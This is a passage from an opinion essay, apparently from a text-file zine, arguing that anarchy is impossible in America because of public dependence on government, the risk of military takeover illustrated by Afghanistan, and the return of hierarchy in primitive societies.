entertainments; and more food than most know what to do with.  All but the
most impoverished and destitute live a very comfortable lifestyle, and even
the latter are generally not wanting for food, housing, and so forth because
of government aid.  It is also obvious to many that the government acts as a
buffer between the individual and reality.  Everything is hidden from public
view, such as the enforcement of the death penalty, the frequent
slaughtering of meat, and even the often-times brutal tactics of the police
and military.  The government attempts to keep society in a rather blissful
swoon so that it does not recognize and is therefore not conditioned to the
undesirable facets of reality.  Therefore, it is improbable that the general
public at large would have the threshold of toleration regarding hardship,
and it is not likely that most would be able to adapt to a rather open and
frank way of life, seeing and experiencing both its pleasant and unpleasant
aspects.  It is most likely that, when experiencing life without any central
government shielding them from how it truly is, as well as their
responsibility to themselves and the rest of society at large, they would
reject such ideals and return to their previous existence and lifestyle.
Too much is taken for granted, and when this is not available, the public
would quickly turn upon their heels because of the fact that they are
generally unconditioned to self-responsibility, self-reliance, and true

 A very real problem to be faced if the central government were removed is
the military situation and the protection of this country from hostile
foreign powers.  It is well known and goes without saying that quite a few
foreign nations would take little time in responding to the collapse of the
government and militarily invade and occupy the nation to their political
and economic advantage.  Thus, it would be imperative that a collective
military be formed and trained in order to resist such a fate.  However,
another problem then arises: if a military is formed, and there is hierarchy
within this military (as there needs be if it is to be effective in
protecting the nation from coordinated foreign attacks), then what is to
stop it from staging a coup and forming a new governmental body under
military rule, with the commanders being the upper class and the new leaders
of an unwilling populace?  This is not an impossible or even an improbable
scenario.  Take Afghanistan, for instance.  After the Mujahideen shook off
the yoke of Soviet dominance and government, they found themselves in quite
a problem: there were several militias, all led by separate commanders with
different ideals.  Soon, fighting erupted between them, and the country was
in a state of war-torn chaos.  Nothing productive came from them, and they
never ruled with any sort of authority.  This serves as an example for how
useless a struggle is against an oppressive regime if no stable government
can be formed afterward.  After their many blunders, a new group rose up
against them and their corruption: the Taliban.  They were originally a
group of freedom fighters who claimed to have no desire for power or rule.
They said that their goals were to remove the Mujahideen and their
atrocities from Afghanistan, and to restore order, security, and peace to
the region.  We all know that, afterward, they indeed became the new rulers
of Afghanistan, and were no better than the former Mujahideen in the least.
This would be the same sort of problem that is to plague a nation whose
central government is removed, and it is almost inevitable that foreign
occupation will occur, or the newly formed military will take the power for
themselves.  Or, perhaps, both of these will occur as they did in
Afghanistan.  Another solution may form in the minds of some when thinking
of this problem: perhaps if everyone who is of fighting age and ability
would form a militia, so that this power would be in the hands of the
population as opposed to a select fighting few.  This indeed would be a good
idea, if it weren't for a small problem: it would only be a matter of time
before there would be disagreements as to the best course of future action
in any given situation, and it is very probable that there would be separate
factions that would split away and war upon each other.  Thus, the nation
would once more be divided and fighting for power, much like the many
nations of the world do even today.  Even without these severely important
issues arising, it goes without question that to have everyone who is able
to necessarily be a part of a given military would be nearly akin to being
governed by a central regime, only on a more militarized basis.  Therefore,
it seems entirely likely that this would either begin as or devolve into yet
another form of government, only this time harsher in its enforcement of
laws given the very nature of the institution.

 A view espoused by some is that man should return to a more natural way of
life and live primitively, as an animal, given that he is indeed an animal
which is more highly evolved and retains higher faculties of reason and
thought.  This sort of view likewise presents another problem which is most
likely impossible to overcome within anarchy: the fact that there is not
anarchy within nature, and that animals are indeed governed if by nothing
more than the principle of natural selection: the strong will survive, and
the weak will perish.  It is a fact that resources of a particular area are
not unlimited, such as food, water, material for shelters, fuel, and so
forth.  It is also true that there will be those who are more efficient by
nature in gathering food, finding themselves fortunate enough to live near
and perhaps possess a source of fresh water, and so on.  Therefore, those
who are stronger and more efficient in these areas will by nature rule over
those who are weaker and not as adept or fortunate enough to be in like
position.  Such an individual or individuals would thus be held in higher
esteem in a given community because of the resources he/she possesses, and
which the other members want or need.  As we can see, this is leading to
another form of government: those with the best plots of land held in
private ownership will naturally become those who supply the food and
necessary materials to the rest of the community, and will therefore become
as an authority figure.  It is trivial to understand that this situation can
be prevented if private ownership of land is not allowed, or if food, water,
and other relatively scarce resources are distributed equally amongst the
populace.  The only problem with this is that there must by definition be
some sort of hierarchy or committee collecting these resources, distributing
them, and ensuring that everyone is conducting themselves honestly with
regard to the matter.  This will likewise lead to yet another form of
control and government: over time or, perhaps from the beginning depending
upon how much force the committee would have or how dire the situation is at
that time, they will come to form a sort of government which would provide
the members of society with its needed resources, and would thus be much
like the current government we have today, existing by serving society and
using its natural power to threaten others to accept a given set of laws in
order to preserve social order.  Even the most primitive of societies have
an accepted leadership, and at least have some sort of social order and a
way in which to ensure that such a social order is not disrupted to the
detriment of society.  Hence, if the society is to be held together and not
devolve into nothing more than close-knit families attempting to ensure for
themselves survival without thought to the rest of the population, there
must exist some sort of hierarchy or, for lack of a better term, system of

 I conclude this rather brief essay by answering the question posed in the
beginning: it is not possible that anarchy can exist within America if only
because of the fact that the population could not handle it, and can not be
trusted to act with the best interest of society in mind.  Not many in this
culture of ego-gratification and self-centered hedonism would find it in
their best interests to give up their many enjoyments, possessions, and
sheltered way of life so that they could exist with more responsibility and
self-reliance.  Not only this, it would also be impossible to rid the
majority of the population of the idea of private ownership of property, and
because of the self-centered nature of this culture, it would be entirely
out of the question to assume that a form of communism or communal-lifestyle
would be acceptable to the majority involved.  Besides, without some form of
central government deciding the fate of this communal property and what
should be done with the material harvested or grown from it, we would be
hard-pressed to come to any agreement upon what should be done with it.
Thus, without any sort of unification or democratic government, or even an
authoritarian dictator imposing his will upon the population at large,
nothing can be achieved except factionalism, strife, and inevitably
destabilizing, unconstructive conflict.

|=[ EOF ]=---------------------------------------------------------------=|